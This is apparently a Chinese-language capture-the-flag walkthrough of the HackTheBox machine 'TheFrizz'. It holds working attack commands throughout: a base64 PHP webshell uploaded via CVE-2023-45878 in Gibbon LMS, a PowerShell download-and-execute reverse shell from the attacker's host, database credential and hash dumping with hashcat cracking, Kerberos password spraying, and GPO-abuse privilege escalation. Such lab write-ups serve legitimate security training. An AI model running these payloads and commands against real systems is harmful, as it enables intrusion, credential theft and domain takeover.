
USER
nmap -T4 -v -A -Pn 10.10.11.60 -oN thefrizz.txt

frizzdc.frizz.htb
和 frizz.htb
加入/etc/hosts

CVE-2023-45878
点击 staff login 跳转到http://frizzdc.frizz.htb/Gibbon-LMS/
可以看到 Gibbon v25.0.00 https://gibbonedu.org/是一个学校平台

有漏洞CVE-2023-45878
https://herolab.usd.de/security-advisories/usd-2023-0025
先利用 payload 创建 webshell
PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTsgPz4=
是 base64<?php echo system($_GET["cmd"]); ?>
curl -X POST http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;cxk,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTsgPz4=' \
-d 'path=cxk.php' \
-d 'gibbonPersonID=0000000001'

访问触发 webshell 传入命令访问下载反弹 shell 的 ps1 脚本(rev-short.ps1 随便找一个 rev shell 脚本就行)
(本地 python -m http.server 80 开启服务)
curl http://frizzdc.frizz.htb/Gibbon-LMS/cxk.php?cmd=powershell+-ep+bypass+-c+"iex+(New-Object+Net.WebClient).DownloadString('http%3a//10.10.14.54/rev-short.ps1')"

收到 frizz\w.webservice 用户的 rev shell

MYSQL
C:\xampp\htdocs\Gibbon-LMS
目录下我们会看见一个config.php
查看一下
type config.php

$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
本机 3306 的 mysql 启用了,尝试一下
netstat -ano | findstr 3306

但是机器上的 mysql 好像没有添加环境变量
来到C:\xampp\mysql\bin
运行 mysql.exe
C:\xampp\mysql\bin\mysql.exe -u MrGibbonsDB -pMisterGibbs!Parrot!?1 --database=gibbon -e "SHOW TABLES;"

给到的表超级多,查看一下源码
passwordResetProcess.php,密码重置的时候会查看 gibbonPerson 表

那我们直接查看一下
C:\xampp\mysql\bin\mysql.exe -u MrGibbonsDB -pMisterGibbs!Parrot!?1 --database=gibbon -e "SELECT * FROM gibbonPerson;"

可以看到信息很多,但是我们只需要关键的几个
username
: 用户名
passwordStrong
: 加密后的强密码
passwordStrongSalt
: 密码盐值
C:\xampp\mysql\bin\mysql.exe -u MrGibbonsDB -pMisterGibbs!Parrot!?1 --database=gibbon -e "SELECT username, passwordStrong, passwordStrongSalt FROM gibbonPerson;"

username:f.frizzle
passwordStrong:067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 passwordStrongSalt:/aACFhikmNopqrRTVz2489
有点像 sha256,尝试一下 hashcat 破解
hashcat -O -m 1420 '067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489' /usr/share/wordlists/rockyou.txt

password:Jenni_Luvs_Magic23
用密码请求 kerberos 票据,依靠票据连接到机器
impacket-getTGT frizz.htb/f.frizzle:'Jenni_Luvs_Magic23'
KRB5CCNAME=f.frizzle.ccache evil-winrm -i frizzdc -r frizz.htb
但是我在做这道题的时候已经更新无法使用 evil-winrm 了

然后离谱的来了,这里依靠 ssh 连接来进入 f.frizzle 的 ps,这里就可以看到 user.txt 了

ROOT
RECYCLE BIN
这里接下里就是乱逛,群有提示可以看看回收站
whoami /user 查看 sid

S-1-5-21-2386970044-1145388522-2932701813-1103
因为每个用户的回收站文件通常存储在其用户目录下的特定位置,所以需要 sid 来查看
Get-ChildItem -Path "C:\`$Recycle.Bin\S-1-5-21-2386970044-1145388522-2932701813-1103" -Force

把回收站的文件复制出来
cp 'C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\$RE2XMEG.7z' cxk.7z
这里传输文件太麻烦了,所以直接让机器上线了 havoc

下载复制出来的 7z 文件
然后解压,在解压后的 wapt/conf/
文件夹中的waptserver.ini
找到了一个凭证


!suBcig@MehTed!R
M.SchoolBus
但是没有给用户,自己查看一下

f.frizzle
M.SchoolBus
v.frizzle
w.Webservice
用 kebrute 测试用户
kerbrute passwordspray --dc frizzdc.frizz.htb -d frizz.htb -v users.txt '!suBcig@MehTed!R'

获取新票据
impacket-getTGT frizz.htb/M.SchoolBus:'!suBcig@MehTed!R'
export KRB5CCNAME=M.SchoolBus.ccache
还是用老办法 ssh 连接到,为了稳定还是上线一下 havoc
ssh M.SchoolBus@10.10.11.60
GPO
Group Policy Creator Owners 该组成员默认拥有 创建和修改GPO的完全控制权限

在上线的时候,顺手跑了一下 bloodhound,writeGPLink 同样证明可以通过 GPO 滥用来提权
https://labs.withsecure.com/publications/ou-having-a-laugh

下载并导入PowerView.ps1
Import-Module .\PowerView.ps1
还需要用到SharpGPOAbuse
https://github.com/FSecureLABS/SharpGPOAbuse
但是这里的编译有点问题,所以用了已经编译好的 exe 文件
https://github.com/byronkg/SharpGPOAbuse
将RunasCs.exe 和SharpGPOAbuse.exe 下载到目标机器

New-GPO -Name cxk | New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB" -LinkEnabled Yes
创建了一个新的 GPO 并将其链接到 DOMAIN CONTROLLERS
OU,任何应用到该 OU 的策略都将影响该 OU 中的所有域控制器

SharpGPOAbuse.exe 修改 GPO cxk
,将用户 M.SchoolBus
添加为所有应用该 GPO 的计算机上的本地管理员,然后强制更新组策略
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName cxk
gpupdate /force

.\RunasCs.exe 'M.SchoolBus' '!suBcig@MehTed!R' powershell.exe -r 10.10.14.54:5566 -t 0


已经是 administrator 组了,可以直接查看到 root.txt


Comments | NOTHING